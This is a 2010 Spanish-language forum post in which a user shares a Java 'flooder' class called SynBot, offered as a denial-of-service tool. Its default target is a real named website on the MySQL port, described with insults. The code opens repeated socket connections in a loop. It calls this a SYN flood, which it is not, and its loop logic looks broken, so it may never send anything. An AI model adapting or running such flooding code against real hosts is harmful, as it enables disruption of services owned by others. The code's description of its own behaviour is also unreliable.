Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Cr4z1

#1
Java / Re:Nuestros programas en Java
Julio 12, 2010, 10:47:50 PM
Un flooder:

Código: java
/////////////////////////////////////////////

/**

* @author Cr4z1

* @revision 1.0

* Yay for table of contents

* <h1>Sector 1</h1>

* <p>Yay for variables declaration</p>

* <h1>Sector 2</h1>

* <p>Yay for Bot constructors</p>

* <h1>Sector 3</h1>

* <p>Getters and setterz pls?</p>

* Cba with moar headers sector 4 is for main methods

*/



import java.net.Socket;



public class SynBot extends Thread implements Runnable {

    /**

     * To check if we're debugging or not.

     */

    public Boolean debugging = true;



    /**

     * The thread we're using to attack.

     */

    public Thread threadBot = new Thread(this);



    /**

     * The current state of if we're flooding or not

     */

    public Boolean flooding = false;



    /**

     * The bot state, see getBotStates(); for more info.

     */

    public Integer botState = 0;



    /**

     * The number of connections we're sending per bot.

     */

    public Integer connections = 1000;



    /**

     * The default url that we're going to attack, currently rune-server, dumb

     * bitches.

     */

    private String currentUrl = "www.rune-server.org";



    /**

     * The default port if none is chosen, currently MySQL.

     */

    private Integer currentPort = 3306;



    /**

     * The config state of the bot, false = not set, true = set.

     */

    private boolean configState = false;



    /**

     * Attacks the default Server with a specified port.

     *

     * @param port

     *                The port we're attacking with the bots. (Hint: MySQL is

     *                3306)

     */

    public SynBot(String server, Integer port, Integer connections,

            Boolean debugging) {

        this.setConfig(server, port, connections, debugging);

        this.threadBot.start();

        this.setBotState(1);

        try {

            this.setBotState(2);

            while (this.getBotState() == 3 || this.getFlooding()) {

                this.setBotState(3);

                for (int i = 0; i < this.getConnections(); i++) {

                    Socket serverSocket = new Socket(this.getServer(), this

                            .getPort());

                    serverSocket.getOutputStream().write("how do i syn flood site?".getBytes());

                    if (this.getDebug())

                        System.out.println("Server socket connected.");

                }

            }

        } catch (Exception e) {

            this.setBotState(0);

            this.setFlooding(false);

        }

    }



    /**

     * Getters and setters from this point down.

     */



    /*

     * ----------------------------------------;

     */



    /**

     * Sets the current port for the session.

     *

     * @param port

     *                The specified port we're setting.

     */

    public void setPort(Integer port) {

        this.currentPort = port;

    }



    /**

     * The number of connections we're sending p/ bot.

     *

     * @return The connections

     */

    public Integer getConnections() {

        return this.connections;

    }



    /**

     * Setting the number of connections we're going to send p/ bot

     *

     * @param syn_conn

     *                The number of connections we're sending.

     */

    public void setConnections(Integer syn_conn) {

        this.connections = syn_conn;

    }



    /**

     * Returns the current port we're targeting/planning to target

     *

     * @return The current port

     */

    public Integer getPort() {

        return this.currentPort;

    }



    /**

     * Sets the server we're going to attack.

     *

     * @param url

     *                The url we're setting

     */

    public void setServer(String url) {

        this.currentUrl = url;

    }



    /**

     * Gets our current server and returns it

     *

     * @return The current server

     */

    public String getServer() {

        return this.currentUrl;

    }



    /**

     * Gets the state that the bot is in

     *

     * @return The bot state

     */

    public Integer getBotState() {

        return this.botState;

    }



    /**

     * Sets the state of the bot<br />

     * <b> 0-Nothing, 1-Starting, 2-Pending Connection, 3-Attacking</b>

     *

     * @param botState1

     *                The state of the bot we're attacking.

     */

    public void setBotState(Integer botState1) {

        this.botState = botState1;

    }



    /**

     * Returns if we're flooding or not

     *

     * @return Flooding?

     */

    public boolean getFlooding() {

        return this.flooding;

    }



    /**

     * Sets the current state of flooding

     *

     * @param flooding1

     *                Flooding? Well, are we...? Idiot

     */

    public void setFlooding(Boolean flooding1) {

        this.flooding = flooding1;

    }



    /**

     * Gets the state of debugging.

     *

     * @return If we're debugging or not.

     */

    public Boolean getDebug() {

        return this.debugging;

    }



    /**

     * Sets if we're debugging.

     *

     * @param debug

     *                Debugging or not.

     */

    public void setDebug(Boolean debug) {

        this.debugging = debug;

    }



    public void setConfig(String server, Integer port, Integer connections,

            Boolean debugging) {

        this.setServer(server);

        this.setPort(port);

        this.setConnections(connections);

        this.setDebug(debugging);

        this.setConfigState(true);

    }



    public void setConfigState(Boolean config) {

        this.configState = config;

    }



    public void run() {

        System.out.println("Synflood is running");

        for (;;) {

            if (this.getBotState() == 3 && !this.getFlooding())

                this.setBotState(0);

        }

    }

}

/////////////////////////////////